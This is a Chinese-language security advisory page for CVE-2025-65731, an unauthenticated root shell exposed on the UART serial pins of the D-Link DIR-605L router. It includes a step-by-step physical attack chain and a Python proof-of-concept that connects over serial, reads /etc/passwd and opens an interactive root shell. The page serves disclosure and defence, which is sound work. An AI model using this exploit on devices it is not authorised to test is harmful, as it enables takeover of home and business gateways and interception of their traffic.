IPBUF安全漏洞报告
English
CVE-2025-65731 CVSS 6.8 中危

D-Link DIR-605L路由器UART串口未授权访问导致命令执行漏洞(CVE-2025-65731)

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2025-65731
漏洞类型
未授权访问/命令执行
CVSS评分
6.8 中危
攻击向量
物理 (AV:P)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
D-Link DIR-605L (Hardware version F1, Firmware version: V6.02CN02)

相关标签

CVE-2025-65731D-LinkDIR-605LUART物理访问未授权访问命令执行root shell串行接口路由器漏洞

漏洞概述

CVE-2025-65731是D-Link DIR-605L无线路由器中发现的一个高危物理访问漏洞。该漏洞存在于路由器的UART(通用异步收发传输器)串行接口上,攻击者通过物理接触设备并访问UART引脚,可以直接获得设备的root终端访问权限,从而执行任意命令。DIR-605L是D-Link公司推出的一款Wireless N 300家用云路由器,在全球范围内有广泛使用。由于该漏洞需要物理接触设备才能利用,因此被归类为物理攻击向量(AV:P),但其造成的影响极为严重,攻击成功后可完全控制路由器,执行任意代码、窃取网络流量、植入后门或将其纳入僵尸网络。该漏洞的根本原因在于串行接口缺乏适当的访问控制机制,root shell直接暴露在UART端口上,且未设置任何密码或认证要求。鉴于路由器在家庭和企业网络中的核心网关角色,此漏洞可能导致大规模的网络安全事件。

技术细节

D-Link DIR-605L路由器(硬件版本F1,固件版本V6.02CN02)的UART接口存在严重的安全配置缺陷。UART是一种用于设备间串行通信的硬件接口,通常用于调试和固件开发。在正常情况下,UART接口应该被限制访问或配置为需要认证的受限shell。然而,该路由器在生产固件中直接暴露了完整的root shell访问权限,且不包含任何访问控制机制。攻击者只需具备基本的硬件知识,使用USB转TTL串口适配器连接到路由器主板上的UART引脚(通常标记为TX、RX和GND),即可建立串行连接。连接建立后,系统启动过程中会显示完整的引导日志,最终进入root shell提示符,攻击者可以在此执行任意Linux命令,包括读取敏感配置文件、修改系统参数、安装恶意软件等。由于路由器通常作为网络网关运行,攻击者还可以利用此访问权限进行流量嗅探、中间人攻击或横向移动。

攻击链分析

STEP 1
步骤1: 物理接近目标设备
攻击者需要实际接触D-Link DIR-605L路由器设备本体,这是攻击的前提条件
STEP 2
步骤2: 定位UART接口
攻击者打开路由器外壳,在主板上定位UART引脚(通常为4个引脚:VCC、TX、RX、GND),TX和RX引脚通常相邻排列
STEP 3
步骤3: 建立串行连接
使用USB转TTL串口适配器(如FTDI、CH340等)连接路由器的TX、RX和GND引脚到攻击者电脑,配置串口参数(通常115200-8-N-1)
STEP 4
步骤4: 连接并观察启动过程
攻击者使用串口终端软件(如minicom、screen或PuTTY)连接串口,观察路由器启动过程,直到出现shell提示符
STEP 5
步骤5: 获取root shell
由于UART接口没有访问控制,攻击者直接获得root shell访问权限,无需任何密码认证
STEP 6
步骤6: 执行任意命令
攻击者以root权限执行任意系统命令,可进行数据窃取、配置修改、后门植入或进一步渗透网络

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-65731 PoC - D-Link DIR-605L UART Root Access # Author: Security Researcher # Note: Physical access to device UART pins required import serial import time import sys def connect_uart(port='/dev/ttyUSB0', baudrate=115200): """ Establish connection to router UART interface Args: port: Serial port device path baudrate: Communication speed (typically 115200 for routers) Returns: Serial connection object """ try: ser = serial.Serial( port=port, baudrate=baudrate, bytesize=serial.EIGHTBITS, parity=serial.PARITY_NONE, stopbits=serial.STOPBITS_ONE, timeout=1 ) print(f"[+] Connected to UART on {port}") return ser except Exception as e: print(f"[-] Failed to connect: {e}") return None def exploit_uart(ser): """ Exploit UART interface to gain root shell access Interact with the exposed root shell without authentication """ print("[+] Waiting for boot completion...") time.sleep(3) # Read initial boot output output = b"" start_time = time.time() while time.time() - start_time < 10: if ser.in_waiting: data = ser.read(ser.in_waiting) output += data print(data.decode('utf-8', errors='ignore'), end='') time.sleep(0.1) # Send commands to verify root access commands = [ "id\n", # Check current user (should be root) "cat /etc/passwd\n", # Read password file "uname -a\n", # System information "ls -la /\n" # List root directory ] print("\n[+] Executing commands via exposed root shell:\n") for cmd in commands: ser.write(cmd.encode()) time.sleep(0.5) response = b"" while ser.in_waiting: response += ser.read(ser.in_waiting) print(response.decode('utf-8', errors='ignore')) # Interactive shell print("[+] Root shell access obtained! Entering interactive mode...") print("[!] Press Ctrl+C to exit\n") try: while True: cmd = input("root@DIR-605L:/# ") ser.write((cmd + "\n").encode()) time.sleep(0.3) response = b"" while ser.in_waiting: response += ser.read(ser.in_waiting) print(response.decode('utf-8', errors='ignore')) except KeyboardInterrupt: print("\n[-] Exiting...") ser.close() def main(): if len(sys.argv) < 2: print("Usage: python3 cve-2025-65731_poc.py <serial_port>") print("Example: python3 cve-2025-65731_poc.py /dev/ttyUSB0") sys.exit(1) port = sys.argv[1] ser = connect_uart(port) if ser: exploit_uart(ser) if __name__ == "__main__": main()

影响范围

D-Link DIR-605L Hardware version F1 with Firmware version V6.02CN02

防御指南

临时缓解措施
由于该漏洞需要物理接触才能利用,应首先确保路由器放置在安全的环境中,防止未授权人员接触设备。建议在路由器外壳内部添加物理防护措施,如防篡改标签或胶水。同时,联系D-Link官方获取安全更新或考虑更换已停止支持的设备型号。对于无法立即修复的情况,应实施严格的物理访问控制策略,确保只有授权人员能够接触网络设备。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表